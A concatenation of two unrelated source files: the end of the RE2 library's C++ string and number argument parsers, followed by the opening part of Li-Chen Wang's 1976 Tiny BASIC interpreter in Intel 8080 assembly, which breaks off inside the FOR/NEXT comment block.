bool RE2::Arg::parse_string(const char* str, size_t n, void* dest) {
if (dest == NULL) return true;
reinterpret_cast<string*>(dest)->assign(str, n);
return true;
}
bool RE2::Arg::parse_TString(const char* str, size_t n, void* dest) {
if (dest == NULL) return true;
reinterpret_cast<TString*>(dest)->assign(str, n);
return true;
}
bool RE2::Arg::parse_stringpiece(const char* str, size_t n, void* dest) {
if (dest == NULL) return true;
*(reinterpret_cast<StringPiece*>(dest)) = StringPiece(str, n);
return true;
}
bool RE2::Arg::parse_char(const char* str, size_t n, void* dest) {
if (n != 1) return false;
if (dest == NULL) return true;
*(reinterpret_cast<char*>(dest)) = str[0];
return true;
}
bool RE2::Arg::parse_schar(const char* str, size_t n, void* dest) {
if (n != 1) return false;
if (dest == NULL) return true;
*(reinterpret_cast<signed char*>(dest)) = str[0];
return true;
}
bool RE2::Arg::parse_uchar(const char* str, size_t n, void* dest) {
if (n != 1) return false;
if (dest == NULL) return true;
*(reinterpret_cast<unsigned char*>(dest)) = str[0];
return true;
}
// Largest number spec that we are willing to parse
static const int kMaxNumberLength = 32;
// REQUIRES "buf" must have length at least nbuf.
// Copies "str" into "buf" and null-terminates.
// Overwrites *np with the new length.
static const char* TerminateNumber(char* buf, size_t nbuf, const char* str,
size_t* np, bool accept_spaces) {
size_t n = *np;
if (n == 0) return "";
if (n > 0 && isspace(*str)) {
// We are less forgiving than the strtoxxx() routines and do not
// allow leading spaces. We do allow leading spaces for floats.
if (!accept_spaces) {
return "";
}
while (n > 0 && isspace(*str)) {
n--;
str++;
}
}
// Although buf has a fixed maximum size, we can still handle
// arbitrarily large integers correctly by omitting leading zeros.
// (Numbers that are still too long will be out of range.)
// Before deciding whether str is too long,
// remove leading zeros with s/000+/00/.
// Leaving the leading two zeros in place means that
// we don't change 0000x123 (invalid) into 0x123 (valid).
// Skip over leading - before replacing.
bool neg = false;
if (n >= 1 && str[0] == '-') {
neg = true;
n--;
str++;
}
if (n >= 3 && str[0] == '0' && str[1] == '0') {
while (n >= 3 && str[2] == '0') {
n--;
str++;
}
}
if (neg) { // make room in buf for -
n++;
str--;
}
if (n > nbuf-1) return "";
memmove(buf, str, n);
if (neg) {
buf[0] = '-';
}
buf[n] = '\0';
*np = n;
return buf;
}
bool RE2::Arg::parse_long_radix(const char* str,
size_t n,
void* dest,
int radix) {
if (n == 0) return false;
char buf[kMaxNumberLength+1];
str = TerminateNumber(buf, sizeof buf, str, &n, false);
char* end;
errno = 0;
long r = strtol(str, &end, radix);
if (end != str + n) return false; // Leftover junk
if (errno) return false;
if (dest == NULL) return true;
*(reinterpret_cast<long*>(dest)) = r;
return true;
}
bool RE2::Arg::parse_ulong_radix(const char* str,
size_t n,
void* dest,
int radix) {
if (n == 0) return false;
char buf[kMaxNumberLength+1];
str = TerminateNumber(buf, sizeof buf, str, &n, false);
if (str[0] == '-') {
// strtoul() will silently accept negative numbers and parse
// them. This module is more strict and treats them as errors.
return false;
}
char* end;
errno = 0;
unsigned long r = strtoul(str, &end, radix);
if (end != str + n) return false; // Leftover junk
if (errno) return false;
if (dest == NULL) return true;
*(reinterpret_cast<unsigned long*>(dest)) = r;
return true;
}
bool RE2::Arg::parse_short_radix(const char* str,
size_t n,
void* dest,
int radix) {
long r;
if (!parse_long_radix(str, n, &r, radix)) return false; // Could not parse
if ((short)r != r) return false; // Out of range
if (dest == NULL) return true;
*(reinterpret_cast<short*>(dest)) = (short)r;
return true;
}
bool RE2::Arg::parse_ushort_radix(const char* str,
size_t n,
void* dest,
int radix) {
unsigned long r;
if (!parse_ulong_radix(str, n, &r, radix)) return false; // Could not parse
if ((unsigned short)r != r) return false; // Out of range
if (dest == NULL) return true;
*(reinterpret_cast<unsigned short*>(dest)) = (unsigned short)r;
return true;
}
bool RE2::Arg::parse_int_radix(const char* str,
size_t n,
void* dest,
int radix) {
long r;
if (!parse_long_radix(str, n, &r, radix)) return false; // Could not parse
if ((int)r != r) return false; // Out of range
if (dest == NULL) return true;
*(reinterpret_cast<int*>(dest)) = (int)r;
return true;
}
bool RE2::Arg::parse_uint_radix(const char* str,
size_t n,
void* dest,
int radix) {
unsigned long r;
if (!parse_ulong_radix(str, n, &r, radix)) return false; // Could not parse
if ((unsigned int)r != r) return false; // Out of range
if (dest == NULL) return true;
*(reinterpret_cast<unsigned int*>(dest)) = (unsigned int)r;
return true;
}
bool RE2::Arg::parse_longlong_radix(const char* str,
size_t n,
void* dest,
int radix) {
if (n == 0) return false;
char buf[kMaxNumberLength+1];
str = TerminateNumber(buf, sizeof buf, str, &n, false);
char* end;
errno = 0;
long long r = strtoll(str, &end, radix);
if (end != str + n) return false; // Leftover junk
if (errno) return false;
if (dest == NULL) return true;
*(reinterpret_cast<long long*>(dest)) = r;
return true;
}
bool RE2::Arg::parse_ulonglong_radix(const char* str,
size_t n,
void* dest,
int radix) {
if (n == 0) return false;
char buf[kMaxNumberLength+1];
str = TerminateNumber(buf, sizeof buf, str, &n, false);
if (str[0] == '-') {
// strtoull() will silently accept negative numbers and parse
// them. This module is more strict and treats them as errors.
return false;
}
char* end;
errno = 0;
unsigned long long r = strtoull(str, &end, radix);
if (end != str + n) return false; // Leftover junk
if (errno) return false;
if (dest == NULL) return true;
*(reinterpret_cast<unsigned long long*>(dest)) = r;
return true;
}
static bool parse_double_float(const char* str, size_t n, bool isfloat,
void* dest) {
if (n == 0) return false;
static const int kMaxLength = 200;
char buf[kMaxLength+1];
str = TerminateNumber(buf, sizeof buf, str, &n, true);
char* end;
errno = 0;
double r;
if (isfloat) {
r = strtof(str, &end);
} else {
r = strtod(str, &end);
}
if (end != str + n) return false; // Leftover junk
if (errno) return false;
if (dest == NULL) return true;
if (isfloat) {
*(reinterpret_cast<float*>(dest)) = (float)r;
} else {
*(reinterpret_cast<double*>(dest)) = r;
}
return true;
}
bool RE2::Arg::parse_double(const char* str, size_t n, void* dest) {
return parse_double_float(str, n, false, dest);
}
bool RE2::Arg::parse_float(const char* str, size_t n, void* dest) {
return parse_double_float(str, n, true, dest);
}
#define DEFINE_INTEGER_PARSER(name) \
bool RE2::Arg::parse_##name(const char* str, size_t n, void* dest) { \
return parse_##name##_radix(str, n, dest, 10); \
} \
bool RE2::Arg::parse_##name##_hex(const char* str, size_t n, void* dest) { \
return parse_##name##_radix(str, n, dest, 16); \
} \
bool RE2::Arg::parse_##name##_octal(const char* str, size_t n, void* dest) { \
return parse_##name##_radix(str, n, dest, 8); \
} \
bool RE2::Arg::parse_##name##_cradix(const char* str, size_t n, \
void* dest) { \
return parse_##name##_radix(str, n, dest, 0); \
}
DEFINE_INTEGER_PARSER(short);
DEFINE_INTEGER_PARSER(ushort);
DEFINE_INTEGER_PARSER(int);
DEFINE_INTEGER_PARSER(uint);
DEFINE_INTEGER_PARSER(long);
DEFINE_INTEGER_PARSER(ulong);
DEFINE_INTEGER_PARSER(longlong);
DEFINE_INTEGER_PARSER(ulonglong);
#undef DEFINE_INTEGER_PARSER
} // namespace re2
|
;*************************************************************
;*
;* TINY BASIC FOR INTEL 8080
;* VERSION 1.0
;* BY LI-CHEN WANG
;* 10 JUNE, 1976
;* @COPYLEFT
;* ALL WRONGS RESERVED
;*
;*************************************************************
;*
;* *** ZERO PAGE SUBROUTINES ***
;*
;* THE 8080 INSTRUCTION SET LETS YOU HAVE 8 ROUTINES IN LOW
;* MEMORY THAT MAY BE CALLED BY RST N, N BEING 0 THROUGH 7.
;* THIS IS A ONE BYTE INSTRUCTION AND HAS THE SAME POWER AS
;* THE THREE BYTE INSTRUCTION CALL LLHH. TINY BASIC WILL
;* USE RST 0 AS START OR RESTART AND RST 1 THROUGH RST 7 FOR
;* THE SEVEN MOST FREQUENTLY USED SUBROUTINES.
;* TWO OTHER SUBROUTINES (CRLF AND TSTNUM) ARE ALSO IN THIS
;* SECTION. THEY CAN BE REACHED ONLY BY 3-BYTE CALLS.
;*
CR EQU 0DH ;ASCII CR
LF EQU 0AH ;ASCII LF
QT EQU 27H ;ASCII SINGLE QUOTE
CNTLO EQU 0FH ;ASCII CONTROL-O
CNTLC EQU 03H ;ASCII CONTROL-C
DLLN EQU 7DH ;DELETE LINE TELETYPE, BUT WE USE
CNTLU EQU 15H ;ASCII CONTROL-U FOR DELETE LINE
BKS EQU 5CH ;ASCII BACK-SLASH
BKA EQU 5FH ;ASCII UNDERLINE (BACK-ARROW)
UPA EQU 5EH ;ASCII UP-ARROW
DEL EQU 7FH ;ASCII DEL
;
; MACRO TO CREATE TABLE ADDRESS ITEMS
;
ITEM MACRO P1
DB (P1 SHR 8) OR 80H
DB P1 AND 0FFH
ENDM
;
ORG 0000H
START: DI ;*** START/RESTART ***
LXI SP,STACK ;INITIALIZE THE STACK
JMP ST1 ;GO TO THE MAIN SECTION
DB 'L'
;
XTHL ;*** TSTC OR RST 1 ***
RST 5 ;IGNORE BLANKS AND
CMP M ;TEST CHARACTER
JMP TC1 ;REST OF THIS IS AT TC1
;
CRLF: MVI A,CR ;*** CRLF ***
;
PUSH PSW ;*** OUTC OR RST 2 ***
LDA OCSW ;PRINT CHARACTER ONLY
ORA A ;IF OCSW SWITCH IS ON
JMP OC2 ;REST OF THIS IS AT OC2
;
CALL EXPR2 ;*** EXPR OR RST 3 ***
PUSH H ;EVALUATE AN EXPRESSION
JMP EXPR1 ;REST OF IT AT EXPR1
DB 'W'
;
MOV A,H ;*** COMP OR RST 4 ***
CMP D ;COMPARE HL WITH DE
RNZ ;RETURN CORRECT C AND
MOV A,L ;Z FLAGS
CMP E ;BUT OLD A IS LOST
RET
DB 'AN'
;
SS1: LDAX D ;*** IGNBLK/RST 5 ***
CPI ' ' ;IGNORE BLANKS
RNZ ;IN TEXT (WHERE DE->)
INX D ;AND RETURN THE FIRST
JMP SS1 ;NON-BLANK CHAR. IN A
;
POP PSW ;*** FINISH/RST 6 ***
CALL FIN ;CHECK END OF COMMAND
JMP QWHAT ;PRINT "WHAT?" IF WRONG
DB 'G'
;
RST 5 ;*** TSTV OR RST 7 ***
SUI '@' ;TEST VARIABLES
RC ;C:NOT A VARIABLE
JNZ TV1 ;NOT "@" ARRAY
INX D ;IT IS THE "@" ARRAY
CALL PARN ;@ SHOULD BE FOLLOWED
DAD H ;BY (EXPR) AS ITS INDEX
JC QHOW ;IS INDEX TOO BIG?
PUSH D ;WILL IT OVERWRITE
XCHG ;TEXT?
CALL SIZE ;FIND SIZE OF FREE
RST 4 ;AND CHECK THAT
JC ASORRY ;IF SO, SAY "SORRY"
LXI H,VARBGN ;IF NOT GET ADDRESS
CALL SUBDE ;OF @(EXPR) AND PUT IT
POP D ;IN HL
RET ;C FLAG IS CLEARED
TV1: CPI 27 ;NOT @, IS IT A TO Z?
CMC ;IF NOT RETURN C FLAG
RC
INX D ;IF A THROUGH Z
LXI H,VARBGN ;COMPUTE ADDRESS OF
RLC ;THAT VARIABLE
ADD L ;AND RETURN IT IN HL
MOV L,A ;WITH C FLAG CLEARED
MVI A,0
ADC H
MOV H,A
RET
;
;TSTC: XTHL ;*** TSTC OR RST 1 ***
; RST 5 ;THIS IS AT LOC. 8
; CMP M ;AND THEN JUMP HERE
TC1: INX H ;COMPARE THE BYTE THAT
JZ TC2 ;FOLLOWS THE RST INST.
PUSH B ;WITH THE TEXT (DE->)
MOV C,M ;IF NOT =, ADD THE 2ND
MVI B,0 ;BYTE THAT FOLLOWS THE
DAD B ;RST TO THE OLD PC
POP B ;I.E., DO A RELATIVE
DCX D ;JUMP IF NOT =
TC2: INX D ;IF =, SKIP THOSE BYTES
INX H ;AND CONTINUE
XTHL
RET
;
TSTNUM: LXI H,0 ;*** TSTNUM ***
MOV B,H ;TEST IF THE TEXT IS
RST 5 ;A NUMBER
TN1: CPI '0' ;IF NOT, RETURN 0 IN
RC ;B AND HL
CPI 3AH ;IF NUMBERS, CONVERT
RNC ;TO BINARY IN HL AND
MVI A,0F0H ;SET B TO # OF DIGITS
ANA H ;IF H>255, THERE IS NO
JNZ QHOW ;ROOM FOR NEXT DIGIT
INR B ;B COUNTS # OF DIGITS
PUSH B
MOV B,H ;HL=10*HL+(NEW DIGIT)
MOV C,L
DAD H ;WHERE 10* IS DONE BY
DAD H ;SHIFT AND ADD
DAD B
DAD H
LDAX D ;AND (DIGIT) IS FROM
INX D ;STRIPPING THE ASCII
ANI 0FH ;CODE
ADD L
MOV L,A
MVI A,0
ADC H
MOV H,A
POP B
LDAX D ;DO THIS DIGIT AFTER
JP TN1 ;DIGIT. S SAYS OVERFLOW
QHOW: PUSH D ;*** ERROR "HOW?" ***
AHOW: LXI D,HOW
JMP ERROR
HOW: DB 'HOW?',CR
OK: DB 'OK',CR
WHAT: DB 'WHAT?',CR
SORRY: DB 'SORRY',CR
;
;*************************************************************
;*
;* *** MAIN ***
;*
;* THIS IS THE MAIN LOOP THAT COLLECTS THE TINY BASIC PROGRAM
;* AND STORES IT IN THE MEMORY.
;*
;* AT START, IT PRINTS OUT "(CR)OK(CR)", AND INITIALIZES THE
;* STACK AND SOME OTHER INTERNAL VARIABLES. THEN IT PROMPTS
;* ">" AND READS A LINE. IF THE LINE STARTS WITH A NON-ZERO
;* NUMBER, THIS NUMBER IS THE LINE NUMBER. THE LINE NUMBER
;* (IN 16 BIT BINARY) AND THE REST OF THE LINE (INCLUDING CR)
;* IS STORED IN THE MEMORY. IF A LINE WITH THE SAME LINE
;* NUMBER IS ALREADY THERE, IT IS REPLACED BY THE NEW ONE. IF
;* THE REST OF THE LINE CONSISTS OF A CR ONLY, IT IS NOT STORED
;* AND ANY EXISTING LINE WITH THE SAME LINE NUMBER IS DELETED.
;*
;* AFTER A LINE IS INSERTED, REPLACED, OR DELETED, THE PROGRAM
;* LOOPS BACK AND ASK FOR ANOTHER LINE. THIS LOOP WILL BE
;* TERMINATED WHEN IT READS A LINE WITH ZERO OR NO LINE
;* NUMBER; AND CONTROL IS TRANSFERED TO "DIRECT".
;*
;* TINY BASIC PROGRAM SAVE AREA STARTS AT THE MEMORY LOCATION
;* LABELED "TXTBGN" AND ENDED AT "TXTEND". WE ALWAYS FILL THIS
;* AREA STARTING AT "TXTBGN", THE UNFILLED PORTION IS POINTED
;* BY THE CONTENT OF A MEMORY LOCATION LABELED "TXTUNF".
;*
;* THE MEMORY LOCATION "CURRNT" POINTS TO THE LINE NUMBER
;* THAT IS CURRENTLY BEING INTERPRETED. WHILE WE ARE IN
;* THIS LOOP OR WHILE WE ARE INTERPRETING A DIRECT COMMAND
;* (SEE NEXT SECTION). "CURRNT" SHOULD POINT TO A 0.
;*
;START: LXI SP,STACK ;THIS IS AT LOC. 0
ST1: CALL CRLF ;AND JUMP TO HERE
LXI D,OK ;DE->STRING
SUB A ;A=0
CALL PRTSTG ;PRINT STRING UNTIL CR
LXI H,ST2+1 ;LITERAL 0
SHLD CURRNT ;CURRENT->LINE # = 0
ST2: LXI H,0
SHLD LOPVAR
SHLD STKGOS
ST3: MVI A,'>' ;PROMPT '>' AND
CALL GETLN ;READ A LINE
PUSH D ;DE->END OF LINE
LXI D,BUFFER ;DE->BEGINNING OF LINE
CALL TSTNUM ;TEST IF IT IS A NUMBER
RST 5
MOV A,H ;HL=VALUE OF THE # OR
ORA L ;0 IF NO # WAS FOUND
POP B ;BC->END OF LINE
JZ DIRECT
DCX D ;BACKUP DE AND SAVE
MOV A,H ;VALUE OF LINE # THERE
STAX D
DCX D
MOV A,L
STAX D
PUSH B ;BC,DE->BEGIN, END
PUSH D
MOV A,C
SUB E
PUSH PSW ;A=# OF BYTES IN LINE
CALL FNDLN ;FIND THIS LINE IN SAVE
PUSH D ;AREA, DE->SAVE AREA
JNZ ST4 ;NZ:NOT FOUND, INSERT
PUSH D ;Z:FOUND, DELETE IT
CALL FNDNXT ;FIND NEXT LINE
;DE->NEXT LINE
POP B ;BC->LINE TO BE DELETED
LHLD TXTUNF ;HL->UNFILLED SAVE AREA
CALL MVUP ;MOVE UP TO DELETE
MOV H,B ;TXTUNF->UNFILLED AREA
MOV L,C
SHLD TXTUNF ;UPDATE
ST4: POP B ;GET READY TO INSERT
LHLD TXTUNF ;BUT FIRST CHECK IF
POP PSW ;THE LENGTH OF NEW LINE
PUSH H ;IS 3 (LINE # AND CR)
CPI 3 ;THEN DO NOT INSERT
JZ START ;MUST CLEAR THE STACK
ADD L ;COMPUTE NEW TXTUNF
MOV L,A
MVI A,0
ADC H
MOV H,A ;HL->NEW UNFILLED AREA
LXI D,TXTEND ;CHECK TO SEE IF THERE
RST 4 ;IS ENOUGH SPACE
JNC QSORRY ;SORRY, NO ROOM FOR IT
SHLD TXTUNF ;OK, UPDATE TXTUNF
POP D ;DE->OLD UNFILLED AREA
CALL MVDOWN
POP D ;DE->BEGIN, HL->END
POP H
CALL MVUP ;MOVE NEW LINE TO SAVE
JMP ST3 ;AREA
;
;*************************************************************
;*
;* *** TABLES *** DIRECT *** & EXEC ***
;*
;* THIS SECTION OF THE CODE TESTS A STRING AGAINST A TABLE.
;* WHEN A MATCH IS FOUND, CONTROL IS TRANSFERED TO THE SECTION
;* OF CODE ACCORDING TO THE TABLE.
;*
;* AT 'EXEC', DE SHOULD POINT TO THE STRING AND HL SHOULD POINT
;* TO THE TABLE-1. AT 'DIRECT', DE SHOULD POINT TO THE STRING.
;* HL WILL BE SET UP TO POINT TO TAB1-1, WHICH IS THE TABLE OF
;* ALL DIRECT AND STATEMENT COMMANDS.
;*
;* A '.' IN THE STRING WILL TERMINATE THE TEST AND THE PARTIAL
;* MATCH WILL BE CONSIDERED AS A MATCH. E.G., 'P.', 'PR.',
;* 'PRI.', 'PRIN.', OR 'PRINT' WILL ALL MATCH 'PRINT'.
;*
;* THE TABLE CONSISTS OF ANY NUMBER OF ITEMS. EACH ITEM
;* IS A STRING OF CHARACTERS WITH BIT 7 SET TO 0 AND
;* A JUMP ADDRESS STORED HI-LOW WITH BIT 7 OF THE HIGH
;* BYTE SET TO 1.
;*
;* END OF TABLE IS AN ITEM WITH A JUMP ADDRESS ONLY. IF THE
;* STRING DOES NOT MATCH ANY OF THE OTHER ITEMS, IT WILL
;* MATCH THIS NULL ITEM AS DEFAULT.
;*
TAB1 EQU $ ;DIRECT COMMANDS
DB 'LIST'
ITEM LIST
DB 'RUN'
ITEM RUN
DB 'NEW'
ITEM NEW
TAB2 EQU $ ;DIRECT/STATEMENT
DB 'NEXT'
ITEM NEXT
DB 'LET'
ITEM LET
DB 'IF'
ITEM IFF
DB 'GOTO'
ITEM GOTO
DB 'GOSUB'
ITEM GOSUB
DB 'RETURN'
ITEM RETURN
DB 'REM'
ITEM REM
DB 'FOR'
ITEM FOR
DB 'INPUT'
ITEM INPUT
DB 'PRINT'
ITEM PRINT
DB 'STOP'
ITEM STOP
ITEM DEFLT
DB 'YOU MAY INSERT MORE COMMANDS.'
TAB4 EQU $ ;FUNCTIONS
DB 'RND'
ITEM RND
DB 'ABS'
ITEM ABS
DB 'SIZE'
ITEM SIZE
ITEM XP40
DB 'YOU MAY INSERT MORE FUNCTIONS'
TAB5 EQU $ ;"TO" IN "FOR"
DB 'TO'
ITEM FR1
ITEM QWHAT
TAB6 EQU $ ;"STEP" IN "FOR"
DB 'STEP'
ITEM FR2
ITEM FR3
TAB8 EQU $ ;RELATION OPERATORS
DB '>='
ITEM XP11
DB '#'
ITEM XP12
DB '>'
ITEM XP13
DB '='
ITEM XP15
DB '<='
ITEM XP14
DB '<'
ITEM XP16
ITEM XP17
;
DIRECT: LXI H,TAB1-1 ;*** DIRECT ***
;
EXEC EQU $ ;*** EXEC ***
EX0: RST 5 ;IGNORE LEADING BLANKS
PUSH D ;SAVE POINTER
EX1: LDAX D ;IF FOUND '.' IN STRING
INX D ;BEFORE ANY MISMATCH
CPI '.' ;WE DECLARE A MATCH
JZ EX3
INX H ;HL->TABLE
CMP M ;IF MATCH, TEST NEXT
JZ EX1
MVI A,7FH ;ELSE SEE IF BIT 7
DCX D ;OF TABLE IS SET, WHICH
CMP M ;IS THE JUMP ADDR. (HI)
JC EX5 ;C:YES, MATCHED
EX2: INX H ;NC:NO, FIND JUMP ADDR.
CMP M
JNC EX2
INX H ;BUMP TO NEXT TAB. ITEM
POP D ;RESTORE STRING POINTER
JMP EX0 ;TEST AGAINST NEXT ITEM
EX3: MVI A,7FH ;PARTIAL MATCH, FIND
EX4: INX H ;JUMP ADDR., WHICH IS
CMP M ;FLAGGED BY BIT 7
JNC EX4
EX5: MOV A,M ;LOAD HL WITH THE JUMP
INX H ;ADDRESS FROM THE TABLE
MOV L,M
ANI 07FH ;MASK OFF BIT 7
MOV H,A
POP PSW ;CLEAN UP THE GABAGE
PCHL ;AND WE GO DO IT
;
;*************************************************************
;*
;* WHAT FOLLOWS IS THE CODE TO EXECUTE DIRECT AND STATEMENT
;* COMMANDS. CONTROL IS TRANSFERED TO THESE POINTS VIA THE
;* COMMAND TABLE LOOKUP CODE OF 'DIRECT' AND 'EXEC' IN LAST
;* SECTION. AFTER THE COMMAND IS EXECUTED, CONTROL IS
;* TRANSFERED TO OTHERS SECTIONS AS FOLLOWS:
;*
;* FOR 'LIST', 'NEW', AND 'STOP': GO BACK TO 'START'
;* FOR 'RUN': GO EXECUTE THE FIRST STORED LINE IF ANY, ELSE
;* GO BACK TO 'START'.
;* FOR 'GOTO' AND 'GOSUB': GO EXECUTE THE TARGET LINE.
;* FOR 'RETURN' AND 'NEXT': GO BACK TO SAVED RETURN LINE.
;* FOR ALL OTHERS: IF 'CURRENT' -> 0, GO TO 'START', ELSE
;* GO EXECUTE NEXT COMMAND. (THIS IS DONE IN 'FINISH'.)
;*************************************************************
;*
;* *** NEW *** STOP *** RUN (& FRIENDS) *** & GOTO ***
;*
;* 'NEW(CR)' SETS 'TXTUNF' TO POINT TO 'TXTBGN'
;*
;* 'STOP(CR)' GOES BACK TO 'START'
;*
;* 'RUN(CR)' FINDS THE FIRST STORED LINE, STORE ITS ADDRESS (IN
;* 'CURRENT'), AND START EXECUTE IT. NOTE THAT ONLY THOSE
;* COMMANDS IN TAB2 ARE LEGAL FOR STORED PROGRAM.
;*
;* THERE ARE 3 MORE ENTRIES IN 'RUN':
;* 'RUNNXL' FINDS NEXT LINE, STORES ITS ADDR. AND EXECUTES IT.
;* 'RUNTSL' STORES THE ADDRESS OF THIS LINE AND EXECUTES IT.
;* 'RUNSML' CONTINUES THE EXECUTION ON SAME LINE.
;*
;* 'GOTO EXPR(CR)' EVALUATES THE EXPRESSION, FIND THE TARGET
;* LINE, AND JUMP TO 'RUNTSL' TO DO IT.
;*
NEW: CALL ENDCHK ;*** NEW(CR) ***
LXI H,TXTBGN
SHLD TXTUNF
;
STOP: CALL ENDCHK ;*** STOP(CR) ***
RST 0
;
RUN: CALL ENDCHK ;*** RUN(CR) ***
LXI D,TXTBGN ;FIRST SAVED LINE
;
RUNNXL: LXI H,0 ;*** RUNNXL ***
CALL FDLNP ;FIND WHATEVER LINE #
JC START ;C:PASSED TXTUNF, QUIT
;
RUNTSL: XCHG ;*** RUNTSL ***
SHLD CURRNT ;SET 'CURRENT'->LINE #
XCHG
INX D ;BUMP PASS LINE #
INX D
;
RUNSML: CALL CHKIO ;*** RUNSML ***
LXI H,TAB2-1 ;FIND COMMAND IN TAB2
JMP EXEC ;AND EXECUTE IT
;
GOTO: RST 3 ;*** GOTO EXPR ***
PUSH D ;SAVE FOR ERROR ROUTINE
CALL ENDCHK ;MUST FIND A CR
CALL FNDLN ;FIND THE TARGET LINE
JNZ AHOW ;NO SUCH LINE #
POP PSW ;CLEAR THE PUSH DE
JMP RUNTSL ;GO DO IT
;
;*************************************************************
;*
;* *** LIST *** & PRINT ***
;*
;* LIST HAS TWO FORMS:
;* 'LIST(CR)' LISTS ALL SAVED LINES
;* 'LIST #(CR)' START LIST AT THIS LINE #
;* YOU CAN STOP THE LISTING BY CONTROL C KEY
;*
;* PRINT COMMAND IS 'PRINT ....;' OR 'PRINT ....(CR)'
;* WHERE '....' IS A LIST OF EXPRESIONS, FORMATS, BACK-
;* ARROWS, AND STRINGS. THESE ITEMS ARE SEPERATED BY COMMAS.
;*
;* A FORMAT IS A POUND SIGN FOLLOWED BY A NUMBER. IT CONTROLS
;* THE NUMBER OF SPACES THE VALUE OF A EXPRESION IS GOING TO
;* BE PRINTED. IT STAYS EFFECTIVE FOR THE REST OF THE PRINT
;* COMMAND UNLESS CHANGED BY ANOTHER FORMAT. IF NO FORMAT IS
;* SPECIFIED, 6 POSITIONS WILL BE USED.
;*
;* A STRING IS QUOTED IN A PAIR OF SINGLE QUOTES OR A PAIR OF
;* DOUBLE QUOTES.
;*
;* A BACK-ARROW MEANS GENERATE A (CR) WITHOUT (LF)
;*
;* A (CRLF) IS GENERATED AFTER THE ENTIRE LIST HAS BEEN
;* PRINTED OR IF THE LIST IS A NULL LIST. HOWEVER IF THE LIST
;* ENDED WITH A COMMA, NO (CRLF) IS GENERATED.
;*
LIST: CALL TSTNUM ;TEST IF THERE IS A #
CALL ENDCHK ;IF NO # WE GET A 0
CALL FNDLN ;FIND THIS OR NEXT LINE
LS1: JC START ;C:PASSED TXTUNF
CALL PRTLN ;PRINT THE LINE
CALL CHKIO ;STOP IF HIT CONTROL-C
CALL FDLNP ;FIND NEXT LINE
JMP LS1 ;AND LOOP BACK
;
PRINT: MVI C,6 ;C = # OF SPACES
RST 1 ;IF NULL LIST & ";"
DB ';'
DB PR2-$-1
CALL CRLF ;GIVE CR-LF AND
JMP RUNSML ;CONTINUE SAME LINE
PR2: RST 1 ;IF NULL LIST (CR)
DB CR
DB PR0-$-1
CALL CRLF ;ALSO GIVE CR-LF AND
JMP RUNNXL ;GO TO NEXT LINE
PR0: RST 1 ;ELSE IS IT FORMAT?
DB '#'
DB PR1-$-1
RST 3 ;YES, EVALUATE EXPR.
MOV C,L ;AND SAVE IT IN C
JMP PR3 ;LOOK FOR MORE TO PRINT
PR1: CALL QTSTG ;OR IS IT A STRING?
JMP PR8 ;IF NOT, MUST BE EXPR.
PR3: RST 1 ;IF ",", GO FIND NEXT
DB ','
DB PR6-$-1
CALL FIN ;IN THE LIST.
JMP PR0 ;LIST CONTINUES
PR6: CALL CRLF ;LIST ENDS
RST 6
PR8: RST 3 ;EVALUATE THE EXPR
PUSH B
CALL PRTNUM ;PRINT THE VALUE
POP B
JMP PR3 ;MORE TO PRINT?
;
;*************************************************************
;*
;* *** GOSUB *** & RETURN ***
;*
;* 'GOSUB EXPR;' OR 'GOSUB EXPR (CR)' IS LIKE THE 'GOTO'
;* COMMAND, EXCEPT THAT THE CURRENT TEXT POINTER, STACK POINTER
;* ETC. ARE SAVE SO THAT EXECUTION CAN BE CONTINUED AFTER THE
;* SUBROUTINE 'RETURN'. IN ORDER THAT 'GOSUB' CAN BE NESTED
;* (AND EVEN RECURSIVE), THE SAVE AREA MUST BE STACKED.
;* THE STACK POINTER IS SAVED IN 'STKGOS', THE OLD 'STKGOS' IS
;* SAVED IN THE STACK. IF WE ARE IN THE MAIN ROUTINE, 'STKGOS'
;* IS ZERO (THIS WAS DONE BY THE "MAIN" SECTION OF THE CODE),
;* BUT WE STILL SAVE IT AS A FLAG FOR NO FURTHER 'RETURN'S.
;*
;* 'RETURN(CR)' UNDOS EVERYTHING THAT 'GOSUB' DID, AND THUS
;* RETURN THE EXECUTION TO THE COMMAND AFTER THE MOST RECENT
;* 'GOSUB'. IF 'STKGOS' IS ZERO, IT INDICATES THAT WE
;* NEVER HAD A 'GOSUB' AND IS THUS AN ERROR.
;*
GOSUB: CALL PUSHA ;SAVE THE CURRENT "FOR"
RST 3 ;PARAMETERS
PUSH D ;AND TEXT POINTER
CALL FNDLN ;FIND THE TARGET LINE
JNZ AHOW ;NOT THERE. SAY "HOW?"
LHLD CURRNT ;FOUND IT, SAVE OLD
PUSH H ;'CURRNT' OLD 'STKGOS'
LHLD STKGOS
PUSH H
LXI H,0 ;AND LOAD NEW ONES
SHLD LOPVAR
DAD SP
SHLD STKGOS
JMP RUNTSL ;THEN RUN THAT LINE
RETURN: CALL ENDCHK ;THERE MUST BE A CR
LHLD STKGOS ;OLD STACK POINTER
MOV A,H ;0 MEANS NOT EXIST
ORA L
JZ QWHAT ;SO, WE SAY: "WHAT?"
SPHL ;ELSE, RESTORE IT
POP H
SHLD STKGOS ;AND THE OLD 'STKGOS'
POP H
SHLD CURRNT ;AND THE OLD 'CURRNT'
POP D ;OLD TEXT POINTER
CALL POPA ;OLD "FOR" PARAMETERS
RST 6 ;AND WE ARE BACK HOME
;
;*************************************************************
;*
;* *** FOR *** & NEXT ***
;*
;* 'FOR' HAS TWO FORMS:
;* 'FOR VAR=EXP1 TO EXP2 STEP EXP1' AND 'FOR VAR=EXP1 TO EXP2'
;* THE SECOND FORM MEANS THE SAME THING AS THE FIRST FORM WITH
;* EXP1=1. (I.E., WITH A STEP OF +1.)
;* TBI WILL FIND THE VARIABLE VAR, AND SET ITS VALUE TO THE
;* CURRENT VALUE OF EXP1. IT ALSO EVALUATES EXPR2 AND EXP1
;* AND SAVE ALL THESE TOGETHER WITH THE TEXT POINTER ETC. IN
;* THE 'FOR' SAVE AREA, WHICH CONSISTS OF 'LOPVAR', 'LOPINC',
;* 'LOPLMT', 'LOPLN', AND 'LOPPT'. IF THERE IS ALREADY SOME-
;* THING IN THE SAVE AREA (THIS IS INDICATED BY A NON-ZERO
;* 'LOPVAR'), THEN THE OLD SAVE AREA IS SAVED IN THE STACK
;* BEFORE THE NEW ONE OVERWRITES IT.
;* TBI WILL THEN DIG IN THE STACK AND FIND OUT IF THIS SAME
;* VARIABLE WAS USED IN ANOTHER CURRENTLY ACTIVE 'FOR' LOOP.
;* IF THAT IS THE CASE, THEN THE OLD 'FOR' LOOP IS DEACTIVATED.
;* (PURGED FROM THE STACK..)
;*
